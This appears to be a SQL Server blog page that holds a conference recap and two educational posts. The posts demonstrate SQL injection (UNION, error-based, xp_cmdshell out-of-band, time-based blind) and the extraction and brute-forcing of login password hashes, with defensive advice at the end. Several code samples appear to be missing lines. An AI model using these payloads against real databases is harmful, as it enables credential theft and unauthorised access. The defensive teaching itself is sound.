Joker’s Wild

Published on: 2019-06-11

This past weekend I had a blast presenting Joker’s Wild with Erin Stellato (blog|twitter), Andy Mallon (blog|twitter), and Drew Furgiuele (blog|twitter).

Watch it here!

Table of contents:

  • What is Joker’s Wild? Watch this to witness Andy’s amazing PowerPoint animation skills (0:00)
  • Bert demos SQL injection (2:25)
  • Erin recollects desserts (9:55)
  • Andy shares an automation tip (18:55)
  • Andy explains an ANSI standard (23:10)
  • Drew describes containers (27:02)

While a video doesn’t quite give you the same experience as being in the room with dozens of other data professionals laughing and shouting along, hopefully it gives you an idea.

Here’s a behind-the-scenes peek at how it all came together.

A Different Kind Of Presentation

I’ve wanted to do a “fun” SQL Server presentation for a while; something that would be lighthearted while still delivering (some) educational value.

I ran some ideas past Erin after SQL Saturday Cleveland earlier this year. We came up with several concepts ideas we could incorporate into the presentation (thanks to Paul Popovich and Luis Gonzalez for also helping us generate a lot of these ideas) and at that point I think Erin came up with the name “Joker’s Wild.”

Blind Commitment

Fast forward a few months: occasionally I’d talk about the presentation idea with people but still wasn’t any closer to actually making it real.

Then a few days before the SQL Saturday Columbus submission deadline, Erin reached out to ask if we were going to submit. We recruited Andy and Drew to help present and submitted an abstract:

Come one, come all to the greatest (and only) SQL Server variety show at SQL Saturday Columbus.

This session features a smattering of lightning talks covering a range of DBA- and developer-focused SQL Server topics, interspersed with interactive games to keep the speakers and audience on their toes.

Plan for plenty of sarcasm, laughs, and eye rolls in this thoughtfully structured yet highly improvised session.

We can’t guarantee what you’ll learn, but we do promise a great time!

*Slot machine will not generate real money for “winners”


If that abstract reads a little vague, it’s because at that point we didn’t know exactly what we wanted to do yet. Once our session was selected though it was time to come up with a concrete plan (big thank you to David Maxwell and Peter Shore for giving us the opportunity to try something like this).

After some discussion, Erin, Andy, Drew, and I came up with the following structure:

  1. The audience will choose the lightning talk topic
  2. We will spin the “Wheel of Misfortune” to determine the presentation style, including:
    • Slides I didn’t write
    • Random slide timing
    • Who has the clicker?
  3. We will play some SQL Server themed Jeopardy and Pictionary with the audience

After our first meeting Andy created the world’s most versatile PowerPoint presentation that would run the show. Seriously, if you haven’t watched the video above yet, go watch it – that introduction is all PowerPoint goodness created by him.

The Session and Final Thoughts

I’m incredibly happy with how it all went. The session was planned but a lot of it was still left up to a highly improvised performance. I had a lot of fun preparing and presenting, and I think the session was well received by the audience. Jeopardy and Pictionary were a lot of fun too, even though I ran out of video recording space so I couldn’t include them in the video.

I hope we have another opportunity to present this session again in the future.

Thank you again David and Peter for letting us do this session as part of SQL Saturday Columbus.

Thank you to our audience for taking a risk on attending a session you didn’t know much about. Also for your great participation.

And thank you Erin, Andy, and Drew for helping do something fun and different.

Thanks for reading. You might also enjoy following me on Twitter.

Want to learn even more SQL?

Sign up for my newsletter to receive weekly SQL tips!

Brute Forcing SQL Logins and Passwords

Published on: 2018-11-27

Watch this week’s episode on YouTube.

Following up on last week’s post about the different types of SQL injection, this week I want to show how injection can be used to obtain a SQL login and its password.

My goal with today’s post is to show how easy it is for someone to do this to your server.  My hope is that if your security practices aren’t currently the best, the least you can do is learn and follow the few simple steps at the end of this post to help protect your server.

Iterating the Login

Let’s try to guess the current login by iterating over characters one at a time:


    @FirstDecimal int = ASCII('!'),
    @LastDecimal int = ASCII('~'),
    @CurrentDecimal bigint = ASCII('!'),
    @SystemUser nvarchar(128) = '',
    @CurrentPosition int = 1;

    WHILE (1=1)
        IF ASCII(substring(SYSTEM_USER,@CurrentPosition,1))=@CurrentDecimal 
            SET @SystemUser = @SystemUser + CHAR(@CurrentDecimal); 
            SET @CurrentPosition = @CurrentPosition + 1;
            --SELECT 'Letter found: ' + @SystemUser;
        IF @CurrentDecimal = @LastDecimal
            SET @CurrentDecimal = @FirstDecimal;
            SET @CurrentDecimal = @CurrentDecimal + 1;

        IF SYSTEM_USER = @SystemUser
            SELECT @SystemUser AS DiscoveredSystemUser;
        @SystemUser AS SystemUser,
        ERROR_NUMBER() AS ErrorNumber,
        ERROR_MESSAGE() AS ErrorMessage;  

The key to this script is line 13 where we use SUBSTRING() to grab the first letter of SYSTEM_USER and check to see if it equals the current letter we are iterating over (if we could perform a union-based attack and return SYSTEM_USER outright, that of course would be easier).

But having the ability to execute a whole script like that to determine the login in milliseconds is a luxury.  If you are actually injecting code into a dynamic query, a more realistic looking attack might look like this (using our vulnerable stored procedure from last week’s demos):

EXEC dbo.USP_GetUserFullName @Username = N'''; IF UPPER(substring(SYSTEM_USER,1,1))=''S'' WAITFOR DELAY ''00:00:05'';--';

Now if the query takes 5 second to return results, we know we found the correct first letter (“S” in this example).  We can repeat this for each subsequent character until we have the whole login.  Easy.

Note: A similar process can be performed for SQL Users as well.

Cracking the Password

Passwords are more work to obtain.  You could start guessing common passwords (eg. “admin”, “ilovesql”, “”, etc…) and trying to use them to login, but once you deplete the easy-to-guess list, you will have to try something else.

A more systematic method requires you to first obtain the login’s password hash:

      CAST([password] AS VARBINARY(MAX))
  FROM [master].[sys].[syslogins];
  WHERE loginname='sa'

Which returns:

That first column is SQL Server’s hashed version of the login’s password.  And while we were able to determine the SQL login character by character, we won’t be able to do the same for this hashed password. 

To “crack the hash”, what we have to do is guess a password, hash it, and see if it is equal to the hash we found above.  If it doesn’t match, we guess another password, hash, check, and repeat until we find the correct password.

The simplest way to do this is to iterate over the entire password space.  The very poorly T-SQL code written below does that for 4 character passwords.  We basically start with guessing a password “!!!!”, checking to see if it’s hash matches, and if not then moving on to the next character combintation (ie. !!!#”, “!!!$”, “!!!%”, etc…):

    @FirstDecimal int = ASCII('!'), /*33 in decimal*/
    @LastDecimal int = ASCII('z'), /*122 in decimal*/
    @PasswordFound bit = 0,
    @Password nvarchar(128) = '',
    @HashedPassword varbinary(MAX) = 0x0200C2455E03ECA51AE88CE6619644D250CD07650C8D13C6992662B7C7C1D085A9D18B3B9AF6E75D1D9DC1E17ADC23C48BB68927A4C670026039BFE948FB4FF367FBDC08365F
    @DecimalDifference int = @LastDecimal - @FirstDecimal,
    @Char1 int = @FirstDecimal,
    @Char2 int = @FirstDecimal,
    @Char3 int = @FirstDecimal,
    @Char4 int = @FirstDecimal;

    WHILE (@Char1 <= @LastDecimal AND @PasswordFound = 0)
        WHILE (@Char2 <= @LastDecimal AND @PasswordFound = 0)
            WHILE (@Char3 <= @LastDecimal AND @PasswordFound = 0)
                WHILE (@Char4 <= @LastDecimal AND @PasswordFound = 0)
                    SET @Password = CHAR(@Char1) + CHAR(@Char2) + CHAR(@Char3) + CHAR(@Char4) 
                    /* for debugging IF @Password = 'admin'  COLLATE Latin1_General_CS_AS */ /*make sure we are doing a case sensitive check */
                    IF PWDCOMPARE(@Password,@HashedPassword) = 1
                        SELECT @Password;
                        SET @PasswordFound = 1;
                    SET @Char4 = @Char4 + 1;
                SET @Char4 = @FirstDecimal;
                SET @Char3 = @Char3 + 1;
            SET @Char4 = @FirstDecimal;
            SET @Char3 = @FirstDecimal;
            SET @Char2 = @Char2 + 1;
        SET @Char4 = @FirstDecimal;
        SET @Char3 = @FirstDecimal;
        SET @Char2 = @FirstDecimal;
        SET @Char1 = @Char1 + 1;
        @Password AS Password,
        ERROR_NUMBER() AS ErrorNumber,
        ERROR_MESSAGE() AS ErrorMessage;  

After about 9 minutes, SQL Server returns my very easy to guess sa password in clear text:

At this point you might be thinking, “9 minutes for a 4 character password!  Doesn’t that mean it would take years to crack an 8 character, or 12 character password?”

Yes and no.  T-SQL is not the right tool for the job here.  A better tool would be something that is optimized for hash checking, something like hashcat.

Hashcat performs the same type of looping logic to check an entire address space for a matching hash, but it does so very quickly with lots of optimizations (word lists, prefix/suffix mutations, etc..).  It also multithreads the process and can make use of graphics cards to perform computations even faster.

I don’t want to turn this into a “step by step how to use hashcat to crack your SQL logins” post, but be aware that doing so is fairly straightforward.  Also know that GPU optimized cloud machines are easily available, and running hashcat on them easily gets you into the 470 million hashes/second range.

With some back of the napkin calculations, that means your completely random 8 character password would take at most:

(((((96 character subset) ^ (8 character password)) / (470,000,000))/60- minutes)/24 hours) = ~10658 days

Now that may seem like a long time, but remember, that’s one machine doing the processing over the entire character space. 

The cloud is easily abused for solving performance problems by spinning up additional hardware.  The same tools you have to run your company’s cloud workloads are available to criminals as well.

And hardware is always improving.  Could new hardware come out in the next couple years that will speed this up even more?  Almost certainly.

Finally this is the longest possible time if would take – if your password isn’t completely random (uses dictionary words) or the hacker knows something about your password schema (all passwords use only letters and numbers), then it’s pretty much game over.

Don’t Let This Happen To You

Hopefully you are using at least 8 character, random passwords with a full subset of upper and lowercase letters, numbers, and symbols.  That should be the minimum you should be doing today, knowing full well that this is already probably inadequate, if not today then in the very near future. 

If you aren’t using long passwords, then stop reading right now and go figure out how to change this right away.  SQL Server allows you to use passwords up to 128 characters long – make use of  all of those characters!

In addition to using long, random passwords, follow the best practices mentioned in last week’s post as well: use the principle of least privilege to restrict as much access to your logins as possible, and prevent SQL injection from allowing important information from leaving your server in the first place.

Thanks for reading. You might also enjoy following me on Twitter.

Want to learn even more SQL?

Sign up for my newsletter to receive weekly SQL tips!

4 SQL Injection Techniques For Stealing Data

Published on: 2018-11-20

Watch this week’s episode on YouTube

I’m not advocating that you start using SQL injection to start stealing other people’s data.

However, I do think that you should familiarize yourself with the various SQL injection techniques so that you will be better prepared to prevent them from happening in your own queries.

The rest of this post will go over four common techniques used for extracting information from SQLServer, as well as simple solutions to prevent them. 

We’ll be looking at all of these techniques directly in SQL Server, but be aware that all of this information is potentially obtainable from an app front-end as well.

UNION-Based Attacks

Perhaps the easiest way for a hacker to retrieve additional data from an injection vulnerable query is through a UNION-based attack.

A UNION-based injection attack adds a UNION or UNION ALL statement to your original stored procedure query, effectively returning any data requested by the second query.

 Let’s say we have a stored procedure that returns user information for the @Username value passed in:

-- Create our sample table data
    Id int IDENTITY(1,1),
    Username NVARCHAR(100),
    FirstName NVARCHAR(100),
    LastName NVARCHAR(100)
INSERT INTO dbo.Users VALUES ('BDubs','Bert','Wagner');
INSERT INTO dbo.Users VALUES ('JaneDough', 'Jane', 'Doe');

SELECT * FROM dbo.Users;

-- Create our procedure to retrieve name information
    @Username NVARCHAR(100)
            Username = ''' + @UserName + N'''';

This query is poorly written and easily injectable:

-- No injection
EXEC dbo.USP_GetUserFullName @Username = N'BDubs'

-- Injection, returns all rows
EXEC dbo.USP_GetUserFullName @Username = N'BDubs'' OR 1=1--';

Let’s pretend we’re a nefarious hacker and want to determine what SQL Server logins are available to us on the server.  We can use a UNION-based injection attack to query sys.syslogins to get this information and return it as part of the original query:

EXEC dbo.USP_GetUserFullName @Username = N'BDubs'' UNION ALL SELECT loginname,null,null FROM master.sys.syslogins;--';

This union based attack simply concatenates the results of another query to our original row of data.

Error-Based Attacks

Let’s say the UNION-based technique doesn’t work or we want an alternate way of determining the currently logged in account.

Another option is to have the application reveal information about the database through error output.

We can pass in a query that we know will produce an error, in this case casting a string as an INT:

EXEC dbo.USP_GetUserFullName @Username = N'''; SELECT CAST(SYSTEM_USER AS INT);--';

Voila! If the application doesn’t handle the error message correctly, it will conveniently show the system login as part of the error message.

Out-Of-Band Delivery

The first two techniques we looked at have been in-boundattacks: that is, we used the injectable query to return data to us directly.

But what if there is sufficient security preventing unexpected data from being directly returned to our app?  We have to get the data we want off of the server via other means.

This example uses xp_cmdshell to write our data to a text file, but we could have just as easily used this to send ourselves an email, etc…

EXEC dbo.USP_GetUserFullName @Username = N'''; EXEC xp_cmdshell ''bcp "SELECT * FROM master.sys.syslogins" queryout "%TEMP%\pwned.txt" -c -T -q  --';

Blind Injection

A secured server may not allow us to directly output the data we want, but that doesn’t mean we can’t infer certain information.

Normally we pride ourselves in being able to write consistently fast queries. But our dedication to consistently fast executions provides hackers with ways of discerning information without any explicit data output.

For example, let’s say we want to guess if the currently logged in account is “sa”.  We can write logic to check this and purposely slow the injectable query’s execution to determine we our guess is correct:

EXEC dbo.USP_GetUserFullName @Username = N'''; if (SELECT SYSTEM_USER) = ''sa'' waitfor delay ''00:00:05'';--';

If our query with an expected parameter normally returns in milliseconds, forcing a 5-second delay will indirectly inform us that our guessed “sa” account name is correct.

Protecting Yourself

The easiest way to prevent SQL injection is to avoid using dynamic SQL when it’s unnecessary. In our example stored procedure above, there is no reason we should be using dynamic SQL –  this should be a parameterized query that is completely safe from injection attacks:

    @Username NVARCHAR(100)
        Username =  @UserName;

If you must use dynamic SQL, then execute your programmatically built query string with sp_executesql. This procedure will safely parameterize your inputs and prevent from injection from occurring.

Finally, make sure the accounts executing your queries have as few allowed permissions as possible.  This way, even if your query has an injection vulnerability, the amount of damage an attacker can do is minimal.  Many of the examples above would have failed if our account simply didn’t have access to certain system tables or system procedures like xp_cmdshell.

These solutions will not cover every scenario, but they will cover the majority of scenarios and improve our chances of keeping our information secure.

Thanks for reading. You might also enjoy following me on Twitter.

Want to learn even more SQL?

Sign up for my newsletter to receive weekly SQL tips!